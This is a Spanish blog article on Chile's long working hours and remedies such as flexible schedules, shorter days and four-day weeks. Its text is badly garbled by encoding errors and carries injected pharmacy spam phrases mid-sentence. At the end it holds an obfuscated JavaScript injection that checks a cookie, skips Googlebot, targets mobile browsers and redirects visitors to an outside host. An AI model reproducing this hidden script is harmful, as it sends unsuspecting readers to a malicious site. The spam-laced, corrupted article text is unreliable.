Chile en el top 5 de los paA�ses que mA?s horas trabajan

El paA�s vuelve a liderar estas cifras en la OCDE, una noticia que no es para nada alentadora. Pero, A?quA� hacer al respecto? Existen soluciones concretas que funcionan y podemos aplicar, asA� que pasen a ver. Cheap Order

En algA?n momento se instaurA? como seA�al de un “buen” trabajo, quizA?s es algo cultural o realmente nos gusta gastarnos el dA�a completo en trabajar. La razA?n no importa por ahora, sino que lo relevante es centrarnos en las soluciones. Porque por mucho que adoremos nuestro trabajo y nos llene el alma, no es sano dedicarle siempre el dA�a (y hasta la noche) completo. A?La vida tiene muchos otros A?mbitos!

AdemA?s, en la mayorA�a de los trabajos, el exceso de horas exigidas al dA�a (oficial o socialmente), estA? afectando la productividad, porque estamos tan cansados que trabajamos peor o incluso distendemos nuestro trabajo por todo el tiempo que tenemos. A fin de cuentas, trabajar mA?s no es necesariamente trabajar mejor y comparA?ndonos con los paA�ses de ese mismo ranking, se evidencia que Chile no se luciA? para nada con el aumento de productividad.

Decimos que trabajamos por metas, pero aA?n no estA? arraigado en el mundo laboral, por eso debemos atrevernos a demostrar que eso es posible. Hemos hablado de propuestas y casos de A�xito en el mundo que serA�an A?tiles para detener las manillas del reloj que avanzan como locas mientras estamos frente al computador. Se pueden lograr cambios y acA? les mostramos cA?mo.

MA?s flexibilidad (con el mismo rendimiento)

Es una tendencia creciente en el mundo y en Chile tambiA�n se estA? aplicando. Trabajar en base a las metas, a objetivos y no al horario, estA? permitiendo que cada vez mA?s trabajadores puedan trabajar con mayor flexibilidad en dos sentidos: espacio y horario. Menos de instalarse en la oficina de 9 a 7 pm y mA?s de trabajar a veces desde la casa, algA?n cafA� y poder distribuir el horario de manera diferente, en base a las programaciones de cada semana.

Obviamente hay que ser responsable, pero es una medida que nos debemos atrever a tomar, para sorprendernos de los bien que podrA�a funcionar. MA?s horas de trabajo, no es mejor trabajo y estas empresas ya lo han comprobado.

Y no lo olvides. Si estA?s en proceso de buscar un nuevo trabajo y el rubro te lo permite, no olvides que el sueldo no es lo A?nico que puedes negociar, sino tambiA�n tu horario laboral.

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Facebook, los diarios, el whatsapp y muchos otros atractivos dulces de la rutina pueden afectar nuestra productividad de manera considerable. A?Han notado que la concentraciA?n funciona casi de manera exponencial? Interrumpirla es un atentado si queremos “cundir” en el trabajo.

Si trabajA?ramos de manera mA?s focalizada y concentrada durante el dA�a, podrA�amos cumplir antes nuestras metas y salir antes del trabajo sin ningA?n tipo de remordimiento. A?No confA�as?

Entonces tienes que probar la tA�cnica Pomodoro, una simple manera que puede llegar a reducir tus horas de trabajo hasta la mitad. Si tus jefes son lo suficientemente visionarios o tA? se lo demuestras al aplicarla al menos durante la maA�ana, de seguro te permitirA? salir antes de tu trabajo.

Si no te lanzas con esta tA�cnica, deberA�as probar otras recomendaciones para mejorar tu productividad y felicidad laboral, como dejar de cometer varios errores (llegar tarde, hacer multitasking, postergar vacaciones, y estos otros), tomarte una caminata de 20 minutos en la mitad del dA�a e incluso una brevA�sima siesta que podrA�a cambiar tu manera de trabajar.

Purchase Probar 6 horas diarias de trabajo

Suecia lo estA? logrando y demuestra un caso de A�xito. En Gotemburgo el horario laboral de varias compaA�A�as se redujo a solamente 6 horas diarias: ellos comienzan a las 7am, asA� que a las 13 hrs., cual Kindergarten, ya estA?n listos. La medida tuvo tal A�xito que hasta la municipalidad de la ciudad ha pensado implementarlo.

Mayor intensidad en el trabajo, menos rotaciA?n de personal, la misma producciA?n que otras compaA�A�as y sobre todo, mucha satisfacciA?n, buen A?nimo y energA�a: son algunos de los resultados observables tras esta determinaciA?n. Al final, condensar horas sin perder eficiencia, es el mandamiento.

O al menos, un dA�a menos a la semana cheap floxin otic solution styplon online thesaurus Pills

Un estudio publicado en el American Journal of Epidemiology, descubriA? que quienes trabajan 55 horas a la semana, tienen peor rendimiento en pruebas mentales que quienes trabajan 40 horas a la semana. Aunque 40 horas sigue siendo demasiado alto, queda claro que el exceso de horas agota nuestro cerebro.

Ante esto, otra soluciA?n, si es que no es posible acortar cada dA�a, es que la semana laboral tenga un dA�a menos. Algunos empresarios, como Larry Page de Google por ejemplo, han declarado que una semana de cuatro dA�as podrA�a incrementar la productividad. AdemA?s, podrA�a incluso aumentar la moral y el bienestar. Es que imagA�nense: fin de semana largo TODAS LAS SEMANAS.

Jason Fried, CEO de la empresa de software Basecamp, asegurA? que sus empleados trabajan cuatro dA�as, 32 horas a la semana por medio aA�o: “Cuando tienes una semana laboral comprimida, tiendes a enfocarte en lo que es importante. Restringir el tiempo aumenta el tiempo de calidad”, concluye desde su propia experiencia.

Lo sabemos, no es tan simple

Cierto. No todos los trabajos pueden aplicar estos cambios, pero mientras creamos que es imposible a priori y no conozcamos la eficacia que ha tenido en otros lugares del mundo o empresas diferentes a las nuestras, seguiremos trabajando mA?s horas y de peor manera.

Es necesario generar una cultura donde se reconozca que el buen trabajo no depende del tiempo que estemos dedicados a A�ste, ni menos de nuestro cansancio al final del dA�a. AdemA?s, una menor carga horaria nos harA? mA?s felices, sin duda, y sabemos que cuando somos felices en el trabajo, somos mA?s productivos. Un cA�rculo virtuoso. A?Somos capaces de tener claro eso y trasmitA�rselo a quienes nos rodean?

AtrevA?monos a proponer y a comprobar con nuestro propio rendimiento que el buen trabajo no depende de una larga jornada y que salir una hora o dos antes de la oficina no tiene nada de malo si hemos cumplido bien nuestras tareas.

Fuente: El Definidovar _0xa48a=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26″,”\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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